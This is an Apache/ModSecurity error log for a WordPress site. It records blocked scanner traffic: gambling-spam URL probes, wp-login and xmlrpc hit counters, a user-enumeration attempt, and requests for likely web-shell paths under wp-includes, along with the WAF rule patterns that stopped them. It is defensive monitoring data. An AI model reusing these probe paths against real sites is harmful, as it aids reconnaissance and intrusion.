[Thu Feb 26 15:03:55.767691 2026] [:error] [pid 20419:tid 20427] [client 51.77.218.189:51770] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ_wW-3DVDvMfTYYUBW-awAAAcU"]
[Thu Feb 26 15:03:58.227840 2026] [:error] [pid 55122:tid 55132] [client 51.77.218.189:58900] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ_wXoLiR0OfjFxvcN_StAAAAMg"]
[Thu Feb 26 15:04:00.732981 2026] [:error] [pid 55618:tid 55632] [client 51.77.218.189:58904] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZ_wYB61Vrh12f_8oWSXbQAAAQs"]
[Thu Feb 26 15:04:03.232577 2026] [:error] [pid 20419:tid 20433] [client 51.77.218.189:58916] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZ_wY-3DVDvMfTYYUBW-cgAAAcs"]
[Thu Feb 26 15:04:05.604693 2026] [:error] [pid 54990:tid 55014] [client 51.77.218.189:42132] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZ_wZXtr2qmt_mBhH2zmdwAAABU"]
[Thu Feb 26 15:04:08.109667 2026] [:error] [pid 55618:tid 55628] [client 51.77.218.189:42138] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ_waB61Vrh12f_8oWSXdwAAAQc"]
[Thu Feb 26 15:04:10.634165 2026] [:error] [pid 3883:tid 3903] [client 51.77.218.189:42154] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ_wauA33x90V6yYHaiVHwAAAVE"]
[Thu Feb 26 15:04:13.121044 2026] [:error] [pid 3883:tid 3893] [client 51.77.218.189:42168] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ_wbeA33x90V6yYHaiVJQAAAUc"]
[Thu Feb 26 15:04:15.637438 2026] [:error] [pid 3883:tid 3905] [client 51.77.218.189:56904] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZ_wb-A33x90V6yYHaiVLQAAAVM"]
[Thu Feb 26 15:04:18.131207 2026] [:error] [pid 20419:tid 20424] [client 51.77.218.189:56906] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZ_wcu3DVDvMfTYYUBW-dwAAAcI"]
[Thu Feb 26 15:04:20.677975 2026] [:error] [pid 25311:tid 25318] [client 51.77.218.189:56918] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ_wdNfdM__yZAgJFSsZkAAAAYQ"]
[Thu Feb 26 15:04:23.162723 2026] [:error] [pid 25311:tid 25315] [client 51.77.218.189:56930] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ_wd9fdM__yZAgJFSsZlQAAAYE"]
[Thu Feb 26 15:04:25.664209 2026] [:error] [pid 3883:tid 3896] [client 51.77.218.189:37386] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ_weeA33x90V6yYHaiVNwAAAUo"]
[Thu Feb 26 15:04:28.165023 2026] [:error] [pid 3883:tid 3890] [client 51.77.218.189:37398] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ_wfOA33x90V6yYHaiVOwAAAUQ"]
[Thu Feb 26 15:04:30.674117 2026] [:error] [pid 55618:tid 55645] [client 51.77.218.189:37410] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ_wfh61Vrh12f_8oWSXiwAAARg"]
[Thu Feb 26 15:04:33.189106 2026] [:error] [pid 55618:tid 55640] [client 51.77.218.189:37414] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ_wgR61Vrh12f_8oWSXjwAAARM"]
[Thu Feb 26 15:04:35.684443 2026] [:error] [pid 20419:tid 20442] [client 51.77.218.189:52724] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ_wg-3DVDvMfTYYUBW-hwAAAdQ"]
[Thu Feb 26 15:04:38.066164 2026] [:error] [pid 25311:tid 25314] [client 51.77.218.189:52732] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ_whtfdM__yZAgJFSsZmgAAAYA"]
[Thu Feb 26 15:04:40.566240 2026] [:error] [pid 3883:tid 3902] [client 51.77.218.189:52744] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ_wiOA33x90V6yYHaiVRgAAAVA"]
[Thu Feb 26 15:04:43.077086 2026] [:error] [pid 3883:tid 3908] [client 51.77.218.189:52752] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ_wi-A33x90V6yYHaiVRwAAAVY"]
[Thu Feb 26 15:04:45.570296 2026] [:error] [pid 3883:tid 3909] [client 51.77.218.189:42756] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ_wjeA33x90V6yYHaiVTgAAAVc"]
[Thu Feb 26 15:04:48.075577 2026] [:error] [pid 20419:tid 20432] [client 51.77.218.189:42768] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZ_wkO3DVDvMfTYYUBW-kQAAAco"]
[Thu Feb 26 15:04:50.584441 2026] [:error] [pid 3883:tid 3903] [client 51.77.218.189:42776] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZ_wkuA33x90V6yYHaiVWgAAAVE"]
[Thu Feb 26 16:32:19.094240 2026] [:error] [pid 3883:tid 3910] [client 137.184.230.10:36194] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.230.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAFE-A33x90V6yYHajTzQAAAVg"]
[Thu Feb 26 16:38:21.161069 2026] [:error] [pid 55051:tid 55072] [client 211.21.61.245:39626] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAGfQmK1w2kZvh5eLEJwwAAAJI"]
[Thu Feb 26 16:44:34.504043 2026] [:error] [pid 20419:tid 20425] [client 141.94.139.189:40626] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.94.139.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAH8u3DVDvMfTYYUBXkWQAAAcM"]
[Thu Feb 26 17:07:53.363029 2026] [:error] [pid 3883:tid 3906] [client 146.190.155.17:45218] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaANaeA33x90V6yYHajtBQAAAVQ"]
[Thu Feb 26 17:17:31.986575 2026] [:error] [pid 3883:tid 3891] [client 43.130.53.252:50002] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaAPq-A33x90V6yYHajz0AAAAUU"]
[Thu Feb 26 17:56:48.855213 2026] [:error] [pid 3883:tid 3893] [client 109.172.115.12:53048] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.172.115.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAY4OA33x90V6yYHagSvgAAAUc"]
[Thu Feb 26 18:13:40.348157 2026] [:error] [pid 55618:tid 55629] [client 203.2.64.59:54556] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaAc1B61Vrh12f_8oWTI0QAAAQg"]
[Thu Feb 26 18:31:09.835858 2026] [:error] [pid 25311:tid 25335] [client 192.241.176.150:33294] [client 192.241.176.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.241.176.150, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAg7dfdM__yZAgJFStwHAAAAZU"]
[Thu Feb 26 18:51:42.070571 2026] [autoindex:error] [pid 25311:tid 25322] [client 193.37.32.10:23985] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:42.298927 2026] [autoindex:error] [pid 25311:tid 25336] [client 193.37.32.10:23985] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:42.442984 2026] [autoindex:error] [pid 25311:tid 25336] [client 193.37.32.10:23985] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:42.584072 2026] [autoindex:error] [pid 25311:tid 25326] [client 193.37.32.10:23985] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:50.412998 2026] [autoindex:error] [pid 3883:tid 3899] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:50.718061 2026] [autoindex:error] [pid 3883:tid 3895] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:50.880095 2026] [autoindex:error] [pid 3883:tid 3886] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:51.060462 2026] [autoindex:error] [pid 3883:tid 3890] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:51.212535 2026] [autoindex:error] [pid 3883:tid 3903] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:51.455187 2026] [autoindex:error] [pid 3883:tid 3894] [client 193.37.32.8:43611] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:51:52.011265 2026] [autoindex:error] [pid 20419:tid 20443] [client 193.37.32.45:38903] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 19:16:56.423565 2026] [:error] [pid 25311:tid 25335] [client 139.162.53.182:55228] [client 139.162.53.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.53.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaArqNfdM__yZAgJFSu1_AAAAZU"]
[Thu Feb 26 19:41:16.679948 2026] [:error] [pid 25311:tid 25326] [client 204.186.24.29:40238] [client 204.186.24.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.186.24.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaAxXNfdM__yZAgJFSvC2QAAAYw"]
[Thu Feb 26 19:58:02.830679 2026] [:error] [pid 44444:tid 44453] [client 169.150.203.242:46631] [client 169.150.203.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.242, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaA1Sm2sMNmj-yekUk32uwAAAgM"]
[Thu Feb 26 19:58:06.714944 2026] [:error] [pid 44444:tid 44457] [client 169.150.203.242:46631] [client 169.150.203.242] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaA1Tm2sMNmj-yekUk32wwAAAgc"]
[Thu Feb 26 19:58:09.803960 2026] [:error] [pid 44444:tid 44456] [client 169.150.203.242:46631] [client 169.150.203.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.242, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaA1UW2sMNmj-yekUk32xgAAAgY"]
[Thu Feb 26 20:07:56.763378 2026] [:error] [pid 44444:tid 44472] [client 43.165.70.220:46244] [client 43.165.70.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaA3nG2sMNmj-yekUk365AAAAhY"]
[Thu Feb 26 20:59:00.686564 2026] [:error] [pid 3883:tid 3902] [client 20.220.189.106:8517] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/HTTP/class.api.php"] [unique_id "aaBDlOA33x90V6yYHajcmgAAAVA"]
[Thu Feb 26 20:59:22.058319 2026] [:error] [pid 20419:tid 20439] [client 20.220.189.106:8513] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-http.php"] [unique_id "aaBDqu3DVDvMfTYYUBVRngAAAdE"]
[Thu Feb 26 20:59:35.529099 2026] [:error] [pid 25311:tid 25322] [client 20.220.189.106:8447] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-block-editor-context-cookie.php"] [unique_id "aaBDt9fdM__yZAgJFSvbKAAAAYg"]
[Thu Feb 26 20:59:36.410084 2026] [:error] [pid 44444:tid 44462] [client 20.220.189.106:8523] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/empty.php"] [unique_id "aaBDuG2sMNmj-yekUk0TjgAAAgw"]
[Thu Feb 26 20:59:37.624988 2026] [:error] [pid 3883:tid 3906] [client 20.220.189.106:8526] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/empty.php"] [unique_id "aaBDueA33x90V6yYHajc6AAAAVQ"]
[Thu Feb 26 20:59:38.467215 2026] [:error] [pid 25311:tid 25332] [client 20.220.189.106:8432] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/empty.php"] [unique_id "aaBDutfdM__yZAgJFSvbKQAAAZI"]
[Thu Feb 26 20:59:39.414862 2026] [:error] [pid 25311:tid 25334] [client 20.220.189.106:8446] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/library.php"] [unique_id "aaBDu9fdM__yZAgJFSvbLAAAAZQ"]
